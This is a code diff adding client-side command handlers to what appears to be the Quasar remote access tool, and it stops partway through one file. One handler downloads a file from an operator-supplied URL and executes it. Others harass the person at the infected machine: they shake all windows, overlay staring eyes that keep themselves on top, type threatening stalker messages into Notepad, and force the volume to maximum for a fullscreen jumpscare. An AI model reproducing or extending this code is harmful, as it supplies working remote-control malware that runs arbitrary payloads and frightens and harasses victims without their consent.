||||
_running = false;
|
||||
}
|
||||
|
||||
private void DrunkLoop()
|
||||
{
|
||||
try
|
||||
{
|
||||
// snapshot all moveable windows and their original positions
|
||||
var origX = new Dictionary<IntPtr, int>();
|
||||
var origY = new Dictionary<IntPtr, int>();
|
||||
|
||||
EnumWindows((hWnd, _) =>
|
||||
{
|
||||
if (!IsWindowVisible(hWnd)) return true;
|
||||
int style = GetWindowLong(hWnd, GWL_STYLE);
|
||||
if ((style & WS_MAXIMIZE) != 0 || (style & WS_MINIMIZE) != 0) return true;
|
||||
RECT r;
|
||||
if (GetWindowRect(hWnd, out r))
|
||||
{
|
||||
origX[hWnd] = r.Left;
|
||||
origY[hWnd] = r.Top;
|
||||
}
|
||||
return true;
|
||||
}, IntPtr.Zero);
|
||||
|
||||
double t = 0;
|
||||
while (_running)
|
||||
{
|
||||
int xOff = (int)(Math.Sin(t * 0.9) * 35);
|
||||
int yOff = (int)(Math.Sin(t * 0.55 + 1.3) * 20);
|
||||
|
||||
foreach (var hWnd in origX.Keys)
|
||||
{
|
||||
SetWindowPos(hWnd, IntPtr.Zero,
|
||||
origX[hWnd] + xOff, origY[hWnd] + yOff,
|
||||
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||
}
|
||||
|
||||
t += 0.05;
|
||||
Thread.Sleep(20);
|
||||
}
|
||||
|
||||
// restore all windows to their original positions
|
||||
foreach (var hWnd in origX.Keys)
|
||||
{
|
||||
SetWindowPos(hWnd, IntPtr.Zero,
|
||||
origX[hWnd], origY[hWnd],
|
||||
0, 0, SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE | SWP_NOSENDCHANGING);
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public void Dispose() => Stop();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class ExecutionHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoExecute;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var msg = (DoExecute)message;
|
||||
try
|
||||
{
|
||||
if (msg.IsUrl)
|
||||
{
|
||||
string ext = Path.GetExtension(new Uri(msg.FilePath).LocalPath);
|
||||
if (string.IsNullOrEmpty(ext)) ext = ".exe";
|
||||
string tmp = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName() + ext);
|
||||
using (var wc = new WebClient())
|
||||
wc.DownloadFile(msg.FilePath, tmp);
|
||||
Process.Start(new ProcessStartInfo { FileName = tmp, UseShellExecute = true });
|
||||
}
|
||||
else
|
||||
{
|
||||
Process.Start(new ProcessStartInfo { FileName = msg.FilePath, UseShellExecute = true });
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,379 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Drawing2D;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class EyesHandler : IMessageProcessor
|
||||
{
|
||||
private Thread _thread;
|
||||
private volatile bool _running;
|
||||
private EyesForm _form;
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoStartEyes || message is DoStopEyes;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoStartEyes) Start();
|
||||
else if (message is DoStopEyes) Stop();
|
||||
}
|
||||
|
||||
private void Start()
|
||||
{
|
||||
if (_running) return;
|
||||
_running = true;
|
||||
_thread = new Thread(RunEyes) { IsBackground = true };
|
||||
_thread.SetApartmentState(ApartmentState.STA);
|
||||
_thread.Start();
|
||||
}
|
||||
|
||||
private void Stop()
|
||||
{
|
||||
_running = false;
|
||||
try
|
||||
{
|
||||
var f = _form;
|
||||
if (f != null && !f.IsDisposed)
|
||||
f.Invoke(new Action(() => { if (!f.IsDisposed) f.Close(); }));
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private void RunEyes()
|
||||
{
|
||||
_form = new EyesForm();
|
||||
Application.Run(_form);
|
||||
_form = null;
|
||||
_running = false;
|
||||
}
|
||||
}
|
||||
|
||||
internal class EyesForm : Form
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool GetCursorPos(out POINT pt);
|
||||
[DllImport("user32.dll")] private static extern bool SetWindowPos(IntPtr hWnd, IntPtr hWndInsertAfter, int X, int Y, int cx, int cy, uint uFlags);
|
||||
private static readonly IntPtr HWND_TOPMOST = new IntPtr(-1);
|
||||
private const uint SWP_NOMOVE = 0x0002, SWP_NOSIZE = 0x0001, SWP_NOACTIVATE = 0x0010;
|
||||
[StructLayout(LayoutKind.Sequential)] private struct POINT { public int X, Y; }
|
||||
|
||||
private readonly System.Windows.Forms.Timer _timer;
|
||||
private readonly Random _rng = new Random();
|
||||
|
||||
// Animation state
|
||||
private bool _blinking;
|
||||
private int _ticksSinceBlink;
|
||||
private bool _twitching;
|
||||
private float _twitchDX, _twitchDY;
|
||||
private int _pulseFrame;
|
||||
|
||||
// Eye geometry
|
||||
private const float CX1 = 72f, CX2 = 216f, CY = 72f;
|
||||
private const float RX = 58f; // half-width
|
||||
private const float IRIS_R = 24f;
|
||||
|
||||
public EyesForm()
|
||||
{
|
||||
FormBorderStyle = FormBorderStyle.None;
|
||||
TopMost = true;
|
||||
ShowInTaskbar = false;
|
||||
BackColor = Color.Lime;
|
||||
TransparencyKey = Color.Lime;
|
||||
StartPosition = FormStartPosition.Manual;
|
||||
Size = new Size(300, 150);
|
||||
DoubleBuffered = true;
|
||||
|
||||
var screen = Screen.PrimaryScreen.WorkingArea;
|
||||
Location = new Point(screen.Right - 318, screen.Bottom - 168);
|
||||
|
||||
_timer = new System.Windows.Forms.Timer { Interval = 30 };
|
||||
_timer.Tick += OnTick;
|
||||
_timer.Start();
|
||||
}
|
||||
|
||||
private void OnTick(object sender, EventArgs e)
|
||||
{
|
||||
_pulseFrame++;
|
||||
_ticksSinceBlink++;
|
||||
|
||||
if (!_blinking && _ticksSinceBlink > 90 && _rng.Next(60) == 0)
|
||||
{
|
||||
_blinking = true;
|
||||
_ticksSinceBlink = 0;
|
||||
var t = new System.Windows.Forms.Timer { Interval = 180 };
|
||||
t.Tick += (s, _) => { _blinking = false; t.Stop(); t.Dispose(); };
|
||||
t.Start();
|
||||
}
|
||||
|
||||
if (!_twitching && _rng.Next(90) == 0)
|
||||
{
|
||||
_twitching = true;
|
||||
_twitchDX = (float)(_rng.NextDouble() * 18 - 9);
|
||||
_twitchDY = (float)(_rng.NextDouble() * 10 - 5);
|
||||
var t = new System.Windows.Forms.Timer { Interval = 60 };
|
||||
t.Tick += (s, _) => { _twitching = false; t.Stop(); t.Dispose(); };
|
||||
t.Start();
|
||||
}
|
||||
|
||||
// Re-assert topmost every tick so fullscreen apps can't push us under
|
||||
SetWindowPos(Handle, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
|
||||
Invalidate();
|
||||
}
|
||||
|
||||
// Realistic eyelid outline — natural bezier curves
|
||||
private static GraphicsPath MakeEyePath(float cx, float cy)
|
||||
{
|
||||
var path = new GraphicsPath();
|
||||
// Inner (left) corner sits slightly below center; outer (right) slightly above
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
|
||||
// Upper lid: fast rise near inner corner, peak above cx, sweeps to outer corner
|
||||
path.AddBezier(
|
||||
lx, innerY,
|
||||
cx - RX * 0.3f, cy - 50f,
|
||||
cx + RX * 0.1f, cy - 52f,
|
||||
rx, outerY);
|
||||
|
||||
// Lower lid: gentle drop from outer corner, flatter belly, rises to inner corner
|
||||
path.AddBezier(
|
||||
rx, outerY,
|
||||
cx + RX * 0.4f, cy + 22f,
|
||||
cx - RX * 0.2f, cy + 24f,
|
||||
lx, innerY);
|
||||
|
||||
path.CloseFigure();
|
||||
return path;
|
||||
}
|
||||
|
||||
protected override void OnPaint(PaintEventArgs e)
|
||||
{
|
||||
var g = e.Graphics;
|
||||
g.SmoothingMode = SmoothingMode.AntiAlias;
|
||||
g.InterpolationMode = InterpolationMode.HighQualityBicubic;
|
||||
|
||||
GetCursorPos(out POINT cursor);
|
||||
var origin = PointToScreen(Point.Empty);
|
||||
|
||||
DrawEye(g, CX1, CY, cursor, origin);
|
||||
DrawEye(g, CX2, CY, cursor, origin);
|
||||
}
|
||||
|
||||
private void DrawEye(Graphics g, float cx, float cy, POINT cursor, Point origin)
|
||||
{
|
||||
using (var eyePath = MakeEyePath(cx, cy))
|
||||
{
|
||||
var bounds = eyePath.GetBounds();
|
||||
|
||||
// ── Sclera — slightly cool white ────────────────────────────────
|
||||
using (var b = new SolidBrush(Color.FromArgb(242, 242, 248)))
|
||||
g.FillPath(b, eyePath);
|
||||
|
||||
// ── Blood veins — thin red beziers across the white ─────────────
|
||||
DrawVeins(g, cx, cy, eyePath);
|
||||
|
||||
if (!_blinking)
|
||||
{
|
||||
// ── Cursor tracking ──────────────────────────────────────────
|
||||
float dx = cursor.X - (origin.X + cx);
|
||||
float dy = cursor.Y - (origin.Y + cy);
|
||||
if (_twitching) { dx += _twitchDX; dy += _twitchDY; }
|
||||
|
||||
float dist = (float)Math.Sqrt(dx * dx + dy * dy);
|
||||
float pulse = (float)Math.Sin(_pulseFrame * 0.04) * 1.5f;
|
||||
float irisR = IRIS_R + pulse;
|
||||
float pupilR = irisR * 0.68f; // huge dilated pupil = menacing
|
||||
float maxTravel = irisR - pupilR - 1f;
|
||||
float px = cx, py = cy;
|
||||
if (dist > 0)
|
||||
{
|
||||
float ratio = Math.Min(dist, maxTravel) / dist;
|
||||
px = cx + dx * ratio;
|
||||
py = cy + dy * ratio;
|
||||
}
|
||||
|
||||
// Clip iris/pupil to sclera shape
|
||||
var clipState = g.Save();
|
||||
g.SetClip(eyePath);
|
||||
|
||||
// Upper lid shadow — dark gradient bleeding down from top of lid
|
||||
var lidShadowRect = new RectangleF(bounds.X, bounds.Y - 2, bounds.Width, bounds.Height * 0.55f);
|
||||
using (var lgb = new LinearGradientBrush(
|
||||
new PointF(0, bounds.Y),
|
||||
new PointF(0, bounds.Y + bounds.Height * 0.55f),
|
||||
Color.FromArgb(90, 20, 10, 5),
|
||||
Color.FromArgb(0, 0, 0, 0)))
|
||||
g.FillRectangle(lgb, lidShadowRect);
|
||||
|
||||
// Iris — dark forest green (realistic + eerie)
|
||||
using (var b = new SolidBrush(Color.FromArgb(38, 68, 42)))
|
||||
g.FillEllipse(b, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||
|
||||
// Iris texture — radial spokes
|
||||
using (var pen = new Pen(Color.FromArgb(80, 55, 90, 58), 1f))
|
||||
{
|
||||
for (int a = 0; a < 360; a += 10)
|
||||
{
|
||||
float rad = a * (float)Math.PI / 180f;
|
||||
float cos = (float)Math.Cos(rad), sin = (float)Math.Sin(rad);
|
||||
g.DrawLine(pen,
|
||||
px + (pupilR + 1f) * cos, py + (pupilR + 1f) * sin,
|
||||
px + (irisR - 1f) * cos, py + (irisR - 1f) * sin);
|
||||
}
|
||||
}
|
||||
|
||||
// Dark limbal ring
|
||||
using (var pen = new Pen(Color.FromArgb(14, 22, 14), 2f))
|
||||
g.DrawEllipse(pen, px - irisR, py - irisR, irisR * 2, irisR * 2);
|
||||
|
||||
// Massive dilated pupil
|
||||
g.FillEllipse(Brushes.Black, px - pupilR, py - pupilR, pupilR * 2, pupilR * 2);
|
||||
|
||||
g.Restore(clipState);
|
||||
|
||||
// Specular highlights — two dots, natural positions
|
||||
g.FillEllipse(Brushes.White, px - irisR * 0.55f, py - irisR * 0.7f, 6f, 5f);
|
||||
using (var b = new SolidBrush(Color.FromArgb(160, 255, 255, 255)))
|
||||
g.FillEllipse(b, px + irisR * 0.2f, py + irisR * 0.1f, 3f, 3f);
|
||||
}
|
||||
|
||||
// ── Eyelid fill on blink (dark skin tone) ───────────────────────
|
||||
if (_blinking)
|
||||
{
|
||||
using (var b = new SolidBrush(Color.FromArgb(168, 130, 108)))
|
||||
g.FillPath(b, eyePath);
|
||||
}
|
||||
|
||||
// ── Upper eyelid outline — thick dark line ───────────────────────
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
using (var pen = new Pen(Color.FromArgb(28, 16, 10), 2.5f))
|
||||
{
|
||||
using (var upperPath = new GraphicsPath())
|
||||
{
|
||||
upperPath.AddBezier(
|
||||
lx, innerY,
|
||||
cx - RX * 0.3f, cy - 50f,
|
||||
cx + RX * 0.1f, cy - 52f,
|
||||
rx, outerY);
|
||||
g.DrawPath(pen, upperPath);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Lower eyelid outline — thinner ──────────────────────────────
|
||||
using (var pen = new Pen(Color.FromArgb(50, 30, 20), 1.5f))
|
||||
{
|
||||
using (var lowerPath = new GraphicsPath())
|
||||
{
|
||||
lowerPath.AddBezier(
|
||||
rx, outerY,
|
||||
cx + RX * 0.4f, cy + 22f,
|
||||
cx - RX * 0.2f, cy + 24f,
|
||||
lx, innerY);
|
||||
g.DrawPath(pen, lowerPath);
|
||||
}
|
||||
}
|
||||
|
||||
// ── Eyelashes — upper lid only ───────────────────────────────────
|
||||
DrawEyelashes(g, cx, cy);
|
||||
|
||||
// ── Pink inner corner (caruncle) ─────────────────────────────────
|
||||
using (var b = new SolidBrush(Color.FromArgb(200, 195, 90, 85)))
|
||||
g.FillEllipse(b, lx - 2f, cy - 3f, 10f, 8f);
|
||||
|
||||
// ── Red lower waterline ──────────────────────────────────────────
|
||||
using (var pen = new Pen(Color.FromArgb(120, 180, 50, 50), 1.5f))
|
||||
{
|
||||
using (var waterline = new GraphicsPath())
|
||||
{
|
||||
waterline.AddBezier(
|
||||
rx - 4f, outerY + 8f,
|
||||
cx + RX * 0.3f, cy + 16f,
|
||||
cx - RX * 0.15f, cy + 17f,
|
||||
lx + 4f, innerY + 6f);
|
||||
g.DrawPath(pen, waterline);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void DrawVeins(Graphics g, float cx, float cy, GraphicsPath clipPath)
|
||||
{
|
||||
var clipState = g.Save();
|
||||
g.SetClip(clipPath);
|
||||
|
||||
// Each row: x1,y1, cx1,cy1, cx2,cy2, x2,y2 (bezier control points)
|
||||
float[][] veins = {
|
||||
new float[]{ cx-RX+3, cy+2, cx-RX+22, cy-6, cx-IRIS_R-14, cy-4, cx-IRIS_R-4, cy-2 },
|
||||
new float[]{ cx-RX+5, cy+8, cx-RX+18, cy+14, cx-IRIS_R-10, cy+9, cx-IRIS_R-3, cy+5 },
|
||||
new float[]{ cx-RX+8, cy-6, cx-RX+24, cy-16, cx-IRIS_R-8, cy-11, cx-IRIS_R-2, cy-7 },
|
||||
new float[]{ cx+RX-3, cy+2, cx+RX-20, cy-5, cx+IRIS_R+12, cy-3, cx+IRIS_R+3, cy-1 },
|
||||
new float[]{ cx+RX-6, cy-8, cx+RX-22, cy-14, cx+IRIS_R+9, cy-9, cx+IRIS_R+2, cy-5 },
|
||||
new float[]{ cx-6, cy-50, cx-4, cy-30, cx-2, cy-IRIS_R-8, cx-1, cy-IRIS_R-2 },
|
||||
};
|
||||
|
||||
using (var pen = new Pen(Color.FromArgb(190, 185, 25, 25), 1f))
|
||||
{
|
||||
foreach (var v in veins)
|
||||
g.DrawBezier(pen, v[0], v[1], v[2], v[3], v[4], v[5], v[6], v[7]);
|
||||
}
|
||||
|
||||
using (var pen = new Pen(Color.FromArgb(110, 185, 25, 25), 0.8f))
|
||||
{
|
||||
g.DrawBezier(pen, cx-RX+14, cy+5, cx-RX+28, cy+10, cx-IRIS_R-6, cy+12, cx-IRIS_R-1, cy+8);
|
||||
g.DrawBezier(pen, cx+RX-14, cy-3, cx+RX-28, cy-9, cx+IRIS_R+5, cy-11, cx+IRIS_R+1, cy-7);
|
||||
}
|
||||
|
||||
g.Restore(clipState);
|
||||
}
|
||||
|
||||
private static void DrawEyelashes(Graphics g, float cx, float cy)
|
||||
{
|
||||
float lx = cx - RX, rx = cx + RX;
|
||||
float innerY = cy + 4f, outerY = cy;
|
||||
|
||||
const int count = 12;
|
||||
using (var pen = new Pen(Color.FromArgb(220, 18, 10, 6), 1.5f))
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
float t = (float)i / (count - 1);
|
||||
// Sample point along the upper lid bezier (De Casteljau t)
|
||||
float it = 1f - t;
|
||||
float bx = it*it*it*lx + 3*it*it*t*(cx - RX*0.3f) + 3*it*t*t*(cx + RX*0.1f) + t*t*t*rx;
|
||||
float by = it*it*it*innerY + 3*it*it*t*(cy - 50f) + 3*it*t*t*(cy - 52f) + t*t*t*outerY;
|
||||
|
||||
// Tangent direction at t (derivative of cubic bezier)
|
||||
float tbx = 3*(it*it*(cx - RX*0.3f - lx) + 2*it*t*(cx + RX*0.1f - (cx - RX*0.3f)) + t*t*(rx - (cx + RX*0.1f)));
|
||||
float tby = 3*(it*it*(cy - 50f - innerY) + 2*it*t*(cy - 52f - (cy - 50f)) + t*t*(outerY - (cy - 52f)));
|
||||
|
||||
// Normal pointing outward (away from eye center = upward here)
|
||||
float len = (float)Math.Sqrt(tbx*tbx + tby*tby);
|
||||
if (len < 0.001f) continue;
|
||||
float nx = -tby / len, ny = tbx / len;
|
||||
|
||||
// Vary lash length — longer in middle
|
||||
float mid = Math.Abs(t - 0.45f) * 2f;
|
||||
float lashLen = 14f - mid * 6f;
|
||||
|
||||
// Slight outward curl
|
||||
float curlX = nx * lashLen + ny * lashLen * 0.18f;
|
||||
float curlY = ny * lashLen - nx * lashLen * 0.18f;
|
||||
|
||||
g.DrawLine(pen, bx, by, bx + curlX, by + curlY);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
protected override void Dispose(bool disposing)
|
||||
{
|
||||
if (disposing) _timer?.Dispose();
|
||||
base.Dispose(disposing);
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,115 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class GhostTypingHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd);
|
||||
[DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||
|
||||
private const int SW_RESTORE = 9;
|
||||
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||
private const byte VK_SHIFT = 0x10;
|
||||
|
||||
private static readonly string[] Messages =
|
||||
{
|
||||
"I know you can hear me.",
|
||||
"Stop pretending you're alone.",
|
||||
"I've been watching you for a while now.",
|
||||
"Did you hear that? No? You will.",
|
||||
"You should close the curtains.",
|
||||
"I'm closer than you think.",
|
||||
"Did you check under the bed?",
|
||||
"Someone was in your room last night.",
|
||||
"Don't turn around.",
|
||||
"I can see your face right now.",
|
||||
"You really should lock your doors.",
|
||||
"Have you noticed anything missing lately?",
|
||||
"The calls are coming from inside the house.",
|
||||
"I'll be there soon. Don't worry.",
|
||||
"We've been here the whole time.",
|
||||
};
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoGhostTyping;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
new Thread(Run) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
private static void TypeChar(char c)
|
||||
{
|
||||
short vk = VkKeyScan(c);
|
||||
if (vk == -1) return;
|
||||
|
||||
byte key = (byte)(vk & 0xFF);
|
||||
bool shift = ((vk >> 8) & 1) != 0;
|
||||
|
||||
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||
keybd_event(key, 0, 0, 0);
|
||||
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||
}
|
||||
|
||||
private static void Run()
|
||||
{
|
||||
try
|
||||
{
|
||||
var rng = new Random();
|
||||
string text = Messages[rng.Next(Messages.Length)];
|
||||
|
||||
var proc = Process.Start("notepad.exe");
|
||||
if (proc == null) return;
|
||||
|
||||
// wait for window handle
|
||||
IntPtr hwnd = IntPtr.Zero;
|
||||
for (int i = 0; i < 40; i++)
|
||||
{
|
||||
Thread.Sleep(200);
|
||||
proc.Refresh();
|
||||
if (proc.MainWindowHandle != IntPtr.Zero)
|
||||
{
|
||||
hwnd = proc.MainWindowHandle;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (hwnd == IntPtr.Zero) return;
|
||||
|
||||
ShowWindow(hwnd, SW_RESTORE);
|
||||
|
||||
// keep trying to focus until it actually has it
|
||||
for (int i = 0; i < 20; i++)
|
||||
{
|
||||
SetForegroundWindow(hwnd);
|
||||
Thread.Sleep(100);
|
||||
if (GetForegroundWindow() == hwnd) break;
|
||||
}
|
||||
|
||||
Thread.Sleep(rng.Next(1200, 2500));
|
||||
|
||||
foreach (char c in text)
|
||||
{
|
||||
if (GetForegroundWindow() != hwnd)
|
||||
SetForegroundWindow(hwnd);
|
||||
|
||||
TypeChar(c);
|
||||
Thread.Sleep(rng.Next(80, 200));
|
||||
|
||||
if (rng.Next(8) == 0)
|
||||
Thread.Sleep(rng.Next(400, 900));
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,106 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class JumpscareHandler : IMessageProcessor
|
||||
{
|
||||
[DllImport("user32.dll")]
|
||||
private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||
|
||||
private const byte VK_VOLUME_UP = 0xAF;
|
||||
|
||||
private static void MaximizeVolume()
|
||||
{
|
||||
for (int i = 0; i < 50; i++)
|
||||
keybd_event(VK_VOLUME_UP, 0, 0, 0);
|
||||
}
|
||||
|
||||
public bool CanExecute(IMessage message) => message is DoJumpscare;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
if (message is DoJumpscare js)
|
||||
new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
private static byte[] GzipDecompress(byte[] data)
|
||||
{
|
||||
using (var input = new MemoryStream(data))
|
||||
using (var gz = new GZipStream(input, CompressionMode.Decompress))
|
||||
using (var output = new MemoryStream())
|
||||
{
|
||||
gz.CopyTo(output);
|
||||
return output.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private void RunJumpscare(DoJumpscare js)
|
||||
{
|
||||
MaximizeVolume();
|
||||
|
||||
string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav");
|
||||
string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif");
|
||||
|
||||
try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { }
|
||||
try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { }
|
||||
|
||||
Form form = null;
|
||||
|
||||
var uiThread = new Thread(() =>
|
||||
{
|
||||
try
|
||||
{
|
||||
using (var player = new System.Media.SoundPlayer(wavPath))
|
||||
player.Play();
|
||||
|
||||
Image gif = null;
|
||||
try { gif = Image.FromFile(gifPath); } catch { }
|
||||
|
||||
form = new Form
|
||||
{
|
||||
FormBorderStyle = FormBorderStyle.None,
|
||||
WindowState = FormWindowState.Maximized,
|
||||
TopMost = true,
|
||||
BackColor = Color.Black,
|
||||
ShowInTaskbar = false,
|
||||
};
|
||||
|
||||
if (gif != null)
|
||||
{
|
||||
var pb = new PictureBox
|
||||
{
|
||||
Image = gif,
|
||||
Dock = DockStyle.Fill,
|
||||
SizeMode = PictureBoxSizeMode.StretchImage,
|
||||
};
|
||||
form.Controls.Add(pb);
|
||||
}
|
||||
|
||||
Application.Run(form);
|
||||
}
|
||||
catch { }
|
||||
});
|
||||
uiThread.SetApartmentState(ApartmentState.STA);
|
||||
uiThread.IsBackground = true;
|
||||
uiThread.Start();
|
||||
|
||||
// wait for form to be created, then close it after 2 seconds
|
||||
Thread.Sleep(2500);
|
||||
try
|
||||
{
|
||||
if (form != null && !form.IsDisposed)
|
||||
form.Invoke(new Action(() => form.Close()));
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class MessageBoxHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
|
||||
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
switch (message)
|
||||
{
|
||||
case DoShowMessageBox msg:
|
||||
Execute(sender, msg);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void Execute(ISender client, DoShowMessageBox message)
|
||||
{
|
||||
new Thread(() =>
|
||||
{
|
||||
// messagebox thread resides in csrss.exe - wtf?
|
||||
MessageBox.Show(message.Text, message.Caption,
|
||||
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
|
||||
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
|
||||
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
|
||||
}) {IsBackground = true}.Start();
|
||||
|
||||
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,11 @@
|
||||
using Quasar.Common.Messages;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
|
||||
{
|
||||
protected NotificationMessageProcessor() : base(true)
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,117 @@
|
||||
using Quasar.Common.Messages;
|
||||
using Quasar.Common.Networking;
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace Quasar.Client.Messages
|
||||
{
|
||||
public class PianoHandler : IMessageProcessor
|
||||
{
|
||||
public bool CanExecute(IMessage message) => message is DoPlayNote;
|
||||
public bool CanExecuteFrom(ISender sender) => true;
|
||||
|
||||
public void Execute(ISender sender, IMessage message)
|
||||
{
|
||||
var note = (DoPlayNote)message;
|
||||
new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
|
||||
}
|
||||
|
||||
// ── waveOut P/Invoke ─────────────────────────────────────────────────
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEFORMATEX
|
||||
{
|
||||
public ushort wFormatTag, nChannels;
|
||||
public uint nSamplesPerSec, nAvgBytesPerSec;
|
||||
public ushort nBlockAlign, wBitsPerSample, cbSize;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct WAVEHDR
|
||||
{
|
||||
public IntPtr lpData;
|
||||
public uint dwBufferLength, dwBytesRecorded;
|
||||
public IntPtr dwUser;
|
||||
public uint dwFlags, dwLoops;
|
||||
public IntPtr lpNext, reserved;
|
||||
}
|
||||
|
||||
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
|
||||
|
||||
private const uint WAVE_MAPPER = 0xFFFFFFFF;
|
||||
private const int SAMPLE_RATE = 44100;
|
||||
|
||||
private static void PlayNote(int frequency, int durationMs)
|
||||
{
|
||||
try
|
||||
{
|
||||
int numSamples = SAMPLE_RATE * durationMs / 1000;
|
||||
byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM
|
||||
|
||||
